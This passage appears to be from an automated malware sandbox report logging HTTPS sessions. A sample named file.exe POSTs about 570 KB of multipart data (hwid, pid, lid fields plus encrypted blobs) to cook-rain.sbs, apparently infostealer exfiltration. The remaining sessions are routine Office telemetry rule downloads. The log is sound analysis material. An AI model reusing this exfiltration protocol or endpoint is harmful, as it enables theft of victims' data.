2024-11-18 19:21:23 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.97.3	443	6508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:23 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HB2509X3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570472 Host: cook-rain.sbs
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 2d 2d 48 42 32 35 30 39 58 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 42 36 35 44 38 45 44 30 46 45 43 34 38 44 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 48 42 32 35 30 39 58 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 42 32 35 30 39 58 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 42 32 35 30 39 58 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --HB2509X3Content-Disposition: form-data; name="hwid"FBB65D8ED0FEC48D63CFCF7E6C45F838--HB2509X3Content-Disposition: form-data; name="pid"1--HB2509X3Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HB2509X3Content-Di
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 5e a6 44 f9 0f c5 7a c5 f3 d9 58 20 e9 7a be 39 bf 49 f0 a5 8d b4 45 41 75 87 d6 95 ce 3a e1 6c a5 59 1d 41 d2 c3 06 58 5c 42 62 0f 5d 29 1a 16 4c f6 61 ea e5 9e 97 02 d3 32 b0 4e 18 35 43 60 a3 9c 07 f6 de a9 f2 b5 f3 e5 ae 0f cb 83 6f d8 0d 11 5b f8 1b 0f c7 0d a9 35 b2 c0 c6 5e 05 74 8f 16 bc f3 33 58 02 bd 88 dd e8 ce dd a4 b6 2a 32 0e f0 82 75 eb 0d f5 7e 88 92 2b 7d 07 b6 da f1 75 13 b4 dd 2a 96 6c 7b ce b0 bb f6 d1 0d f8 ff 33 a8 72 f9 f9 f6 15 87 bf 83 57 be e4 5c 5a b2 40 2f 0e e7 17 0d 7c be 53 78 69 fb 55 db e5 0a e6 da fe f8 fd e0 5c 5b 90 4f 06 16 ae 7a 1c 4d 0d 65 58 69 81 16 a2 43 66 10 5b 14 ad 3f 5e 76 ce 0e d0 8b 6f a1 d9 3c 66 b4 6a 15 30 f1 0c 0b 0f bb 32 1e dd db 82 80 ce 15 19 fa a9 07 20 9d 6f 8e 0f 49 03 c3 82 7c 80 ef 20 4f f6 69 Data Ascii: ^DzX z9IEAu:lYAX\Bb])La2N5C`o[5^t3X2u~+}ul{3rW\Z@/\|SxiU\[OzMeXiCf[?^vo<fj02 oI\| Oi
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 6e 6f ce aa 08 38 bd f5 e5 79 68 d2 88 77 e7 f9 99 f8 53 23 c9 5c 66 f4 4e ca c8 0e 3d 05 a0 c5 c1 48 f0 94 70 e7 87 9c 0a c5 aa 89 c1 27 6f 1d 76 b6 7a 3b bd da b4 0e 6c 7f 2b 1b 35 2b e1 ae eb cd d4 d4 2c fe f0 66 f4 8c b2 27 1d b3 fe f9 db 8a 87 6b 0d c8 d8 30 0f b9 e0 10 14 dc 31 3a 52 a4 18 b2 f8 ee c8 f1 8d 29 88 f1 59 68 28 a4 03 05 42 3b 70 60 23 f4 bf 9d e5 df 23 9a 4e 08 f1 73 bf f6 69 42 32 84 c1 da 5a 64 90 07 02 cd bf be 27 22 ea 5f 16 74 e8 a0 6c 00 fd 36 12 06 f4 7d e4 47 f2 79 8a 4e fc 29 70 e9 00 45 60 a3 e8 99 60 df 11 90 ad b0 6c 0a 6d 7d 4e 81 d5 c9 59 17 1c f8 b9 ca e0 9a 48 0c 1f 20 fc f9 eb 5d 2e 23 1a b7 4d 80 ab 73 5d fe 3d 07 14 fd 8a 47 2d 0c f3 6d f3 80 69 30 fb 7a b7 15 94 5e 8e b6 f9 68 73 f3 41 4c 14 cc c7 06 ab f8 ad 4b 91 Data Ascii: no8yhwS#\fN=Hp'ovz;l+5+,f'k01:R)Yh(B;p`##NsiB2Zd'"_tl6}GyN)pE``lm}NYH ].#Ms]=G-mi0z^hsALK
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 4d 94 79 d1 d2 ee 26 3e e0 e4 f9 ae 5f d3 d1 ed a3 97 e3 a2 d9 b7 1e c7 87 77 f2 fe 5c 72 da 04 f0 9f d1 84 53 d0 9f bb 65 74 00 e9 e3 15 ec e2 17 fe 77 be 73 c5 52 b7 4f 7b c1 d5 8d ec 45 f4 93 92 a8 6f c7 d0 10 e9 db aa 79 e0 6f 2e 2f 48 18 6d b0 a8 be 32 79 32 ce 93 8b f0 dc 1d d1 ab 03 05 7a 20 ef fe 16 68 2b ed 7f 42 0a 4e 40 f2 48 6f 9e b6 60 c4 34 4b 92 03 4b dc 40 ae 11 17 41 01 a0 3e 3b b5 71 58 f7 0e 88 80 fc d5 e3 70 92 25 6f 70 6f f8 9f 03 a2 20 75 11 49 1f e6 6a 88 c4 8a e8 63 a4 02 42 51 01 ed dc 95 7c 11 67 12 c2 01 b4 e5 08 2b a4 df 7f 8e c9 4d b9 a8 ed 1a 87 e5 5d a8 fd 5e 30 7a c0 d4 be 87 66 37 fb b5 da 5e 6e 25 db fd 90 75 bb 0f d3 a9 4d 36 77 b9 08 10 be 87 1c 43 d9 2c 25 38 6a 83 c6 03 a7 ca db 4f 16 84 56 27 4f dd 29 e1 f8 50 99 e8 Data Ascii: My&>_w\rSetwsRO{Eoyo./Hm2y2z h+BN@Ho`4KK@A>;qXp%opo uIjcBQ\|g+M]^0zf7^n%uM6wC,%8jOV'O)P
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 45 94 5b 31 9a 14 a4 c2 eb 7c 6f b1 95 9d 3a 9a 48 a9 3e 01 b2 e0 c4 59 4d ba 57 9e 6c 90 5c b3 70 ee 12 39 11 c5 fd ae 3f 39 c3 cf 8a 8c 75 2c ba ca ce cb 35 ea 24 2e a9 98 88 0c 65 4b 4c 54 83 af 03 e7 fb b5 b2 ef 43 a6 fe 3a 3a c8 47 84 5c ae cd 6c f5 e5 a4 6e d4 dc 5e ec 34 7f 80 31 93 57 89 b0 10 7a 45 c1 72 71 be 24 65 de e3 ba 83 28 e7 df 0b 36 c2 38 ab ad 70 41 86 3e 6c 73 5f 9c 4f 07 8f fe 82 97 9c 63 3b 36 43 c6 57 c5 7f 58 9a 0d 51 67 f3 e7 dc 79 74 20 dc c3 19 b5 65 8d 78 85 ff f9 35 ac b3 8f 78 00 de 6d ad 92 6f 69 11 b6 76 89 d4 d0 9c 76 47 f4 63 dc 71 55 42 f8 7b 92 cf ea 81 2d 96 30 f5 1d d3 5e 30 6c 10 fd ba dc 04 ee 6e 87 9d 36 96 31 ec 54 3e ab 77 55 7b 34 3d 70 f0 73 66 c1 d6 a8 98 49 f0 a1 a8 bf 44 f3 56 ea d5 7a ee 4c 37 93 27 1a 8e Data Ascii: E[1\|o:H>YMWl\p9?9u,5$.eKLTC::G\ln^41WzErq$e(68pA>ls_Oc;6CWXQgyt ex5xmoivvGcqUB{-0^0ln61T>wU{4=psfIDVzL7'
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: ce 45 53 94 86 ae a4 69 95 ed 7b 9d 52 d5 d1 32 5b 8c ea 41 63 4a 80 5d 5f d8 db 87 dd e0 28 f8 e2 a1 9d 1a 1c b4 33 c3 de 87 96 5d e9 07 4d 98 d1 30 92 e6 07 b9 26 d5 63 e1 59 bb a1 4c b9 e4 55 d9 c5 ce c7 05 46 cb 16 40 e7 d4 52 26 20 32 45 7e 06 76 ec 3d 44 23 6d 69 d0 37 bf 17 ef 89 d0 5c e4 19 30 6c 05 cd c0 7c 0f 5f 7c b1 9a 60 4d 95 3f 6e 42 73 6b 84 bd 3b 29 e3 f8 40 b0 51 7a 92 4e d2 75 ca 17 14 e5 6e b2 8e f6 68 5e a2 85 f1 ae e4 16 55 d4 84 85 50 15 f0 bb e5 55 ed b7 bc 7b 4a 50 82 ee b1 df 80 1d 26 30 df f1 39 87 d9 52 53 e2 e7 0a 29 87 a7 7b ad 9e 86 73 74 d7 ca 70 87 62 11 4e 5e e9 80 cb 48 58 8a 01 d4 13 7b e3 d2 f9 1f 1b f1 00 4a 77 9a f1 1d 95 72 07 7c c0 80 0d 71 28 66 ff fa 3d fa 5c c8 4d 14 a5 9c 37 6a b4 ea 56 72 e5 0c 01 28 49 b0 bb Data Ascii: ESi{R2[AcJ]_(3]M0&cYLUF@R& 2E~v=D#mi7\0l\|_\|`M?nBsk;)@QzNunh^UPU{JP&09RS){stpbN^HX{Jwr\|q(f=\M7jVr(I
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: c4 ac 35 79 2f 18 97 8a 3e 9e 2d c6 58 8d 01 b1 29 51 10 33 8a 68 60 bf 8a fd 05 12 53 22 d5 7c 38 81 b7 ba 04 72 d6 9f 34 ea 5e cd a7 1d b1 bc 76 cd 31 33 c3 4b ea b8 0b 1d 4e d0 48 ed ff 30 fc dd 32 5b 3b ab 8a 56 e0 d3 62 09 6e f9 ac 2a bf 13 1c 3b 57 89 63 21 da b0 d8 4a 5b 67 43 f0 54 fb 74 43 16 31 e5 b3 31 91 a2 ac 5a 77 4d f4 b2 b1 0e 35 d3 08 fb de 64 7b fb be 6b 4e f4 f7 47 3f d5 87 75 4a 7c d1 f5 13 ff e9 84 1d 37 f2 7a b5 8d f2 3c d8 6c 79 af 54 e7 1b ee 7f 96 35 31 43 6e c6 9e fe 84 b9 33 46 73 dd 2e 73 f7 99 cc af 15 8a 4b a2 54 eb 18 b9 6f 35 09 2b e7 6b cd 12 40 7b c2 17 b5 7d 19 a4 81 08 10 a2 fa 13 75 71 49 6a ce f6 9e 69 87 c4 21 3c 9e b5 ea c9 de 78 b0 40 94 a4 f7 74 51 c7 f8 e2 3f 7b cf 8d 7d 9c e5 1b 5d 6f 4b c8 69 d5 29 64 5a f6 d1 Data Ascii: 5y/>-X)Q3h`S"\|8r4^v13KNH02[;Vbn*;Wc!J[gCTtC11ZwM5d{kNG?uJ\|7z<lyT51Cn3Fs.sKTo5+k@{}uqIji!<x@tQ?{}]oKi)dZ
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 25 2d c8 3c b9 fd 1d cf 84 5f d6 18 d4 a2 93 53 90 a2 b7 97 9b 0f 94 87 1f ed 0c dc 7d 50 25 45 2e f6 69 b8 a6 3c 2c 39 fd 8a ec 54 14 bc 7c ef dc fe 6e de e6 10 47 a5 34 35 30 e6 31 70 56 04 2c 26 08 04 58 9f 10 a0 97 67 82 9b f1 92 9c 08 c8 0b 2c 4d e2 55 4c bc ba 8f 7e 23 25 12 c0 57 34 eb 5a 9f c5 18 41 e1 6a 84 6b 68 20 c3 3a 7e 30 f2 e7 ea 2f 41 ce 4f b5 c2 36 ac 87 c4 46 31 4f 02 8b 7f 13 44 88 82 5d 6c 1b 60 e7 b6 b4 5f 84 52 a9 75 0f 34 ba d7 87 77 aa 18 6f 0e 9e e6 65 0c a7 8b 6c 48 8a d8 83 03 75 eb e3 4f f4 5a 66 bf 5f a5 78 b2 bf 84 6d 9d e1 b7 86 5e 94 70 bf 6d da 4a 65 2b d9 c3 e7 31 2f 7a 94 77 84 34 c5 22 98 8b bb c4 c3 7f 0b 1b 03 92 26 ff 29 6a ec 1a 5c c2 b4 38 4a ee 9a e1 99 59 29 32 4d 6e 3a 35 4a ac db 1b d4 d9 99 d0 60 0f 81 73 49 Data Ascii: %-<_S}P%E.i<,9T\|nG4501pV,&Xg,MUL~#%W4ZAjkh :~0/AO6F1OD]l`_Ru4woelHuOZf_xm^pmJe+1/zw4"&)j\8JY)2Mn:5J`sI
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 00 c8 7a f9 5f 12 1d 6f 9d e0 4d d1 84 fe 29 46 5a 05 26 b7 6f d8 30 63 f6 97 00 77 76 4f 43 f8 30 02 d5 61 03 72 de d1 3d a0 b1 16 92 1f 72 04 a7 e6 c6 8b a1 81 69 1d 09 56 0d f7 bb af c4 06 f8 60 78 3c 8b 9f dd bb 4d 50 8f e8 f2 05 44 a1 22 6b d4 d5 bc 87 ce 74 62 5d b9 ce c2 c4 82 9f f2 f7 a7 86 07 66 05 75 f0 8c 93 59 95 29 5c 57 57 70 ba d7 66 ed 77 6c 56 c2 e2 e6 e9 e3 d5 a8 08 87 48 31 42 ed b3 b6 45 55 d0 75 8e 21 d2 d1 83 43 14 a9 31 71 a0 de 83 74 98 b7 48 d3 11 e6 74 5e 5a 4f 5f 4d 38 1d a3 04 51 64 50 97 ff 39 2c 11 ff 59 1e f1 81 cf 2e 8b 7e 7f 08 31 2d f2 4d 64 fd a7 ff 45 cf f9 3f c6 a4 08 b3 4a d7 f1 cd 6b c8 c2 27 77 18 3e 33 ae bd 57 ff cf 2d 4a ef 0c 11 c6 3f 74 05 ff cf 9d 21 22 8c 8b a8 40 77 04 2c 82 1a 63 14 64 a0 80 a5 bc dd fe 11 Data Ascii: z_oM)FZ&o0cwvOC0ar=riV`x<MPD"ktb]fuY)\WWpfwlVH1BEUu!C1qtHt^ZO_M8QdP9,Y.~1-MdE?Jk'w>3W-J?t!"@w,cd
2024-11-18 19:21:23 UTC	15331	OUT	Data Raw: 3e 3e af 70 63 75 6a 66 a7 10 e8 77 20 50 8f a2 61 31 0c ff ff 8e 8b ff 42 6d 6d a5 ff 84 c1 3d 5d 84 de 81 af 48 32 a2 fa 72 cd e1 30 ed fa e8 f1 20 35 7d 5a 56 4c f8 73 84 60 14 66 98 3f a5 5a 3d c7 6b 76 7d f7 ae fb 7b 45 c8 35 08 82 c3 e3 d6 55 9b 9e f4 16 fe cb de b1 d1 61 a1 43 21 5f 84 52 16 8f e8 3f 31 a3 1f 31 22 50 e5 01 25 9b 87 17 a0 8c 68 f8 bd fc e5 47 9a 35 03 6f cf ea 32 2d 91 64 81 b5 3e 47 8d c8 88 d0 ec d7 dd b4 23 af 4f 40 94 22 b7 c2 68 58 12 f5 c3 90 8a 38 64 95 61 19 65 d3 e9 34 fb dd 00 be c2 28 78 aa aa f3 47 b0 de 34 9a 76 45 98 6e ae 1c 6b 09 23 51 bc 2c a2 f3 7c d3 4a 8f 38 0e 8d c8 6e dd 5c 9f 51 82 ed 59 5c a3 a1 e0 14 ac 9d 18 56 69 58 11 2d dd 2b 08 1a dc a8 83 5a f2 2f aa 15 11 23 39 c2 64 01 30 0c ea 05 c9 30 39 0e 64 cb Data Ascii: >>pcujfw Pa1Bmm=]H2r0 5}ZVLs`f?Z=kv}{E5UaC!_R?11"P%hG5o2-d>G#O@"hX8dae4(xG4vEnk#Q,\|J8n\QY\ViX-+Z/#9d009d
2024-11-18 19:21:27 UTC	987	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=obsp8mtrgbdvdsp49kv0p9p96e; expires=Fri, 14-Mar-2025 13:08:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=atqq2JyqJewyG7FZ5daQKFNd5%2Fw4Rafh7uFbtTH9Sz%2FzgtB%2BAOT9Gvk4DuxbBe536mV2v2eUaoa5mxzaCH2vr7uLSKXFkrVeHfa2trmLUBFKkvOgNgrTc0rp1H4Mq5Aj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a52bf8c2122db-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23479&sent=219&recv=608&lost=0&retrans=0&sent_bytes=2829&recv_bytes=573006&delivery_rate=123697&cwnd=32&unsent_bytes=0&cid=b1f9b6daa38dd819&ts=4329&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192124Z-16547b76f7fwggrphC1DFW2a8s0000000560000000004u7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	495	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: aabaea5b-e01e-00aa-79ef-39ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192124Z-1866b5c5fbbzzh8chC1DFWzc5c00000000p000000000104p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-18 19:21:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192124Z-1866b5c5fbb2cz68hC1DFW9ytc00000005d0000000001enf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 93eb20e0-b01e-0021-689b-37cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192124Z-164f84587bfsqsthhC1DFWh630000000057000000000w72t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192124Z-16547b76f7ff9zf4hC1DFW2pfc00000003w0000000006xde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
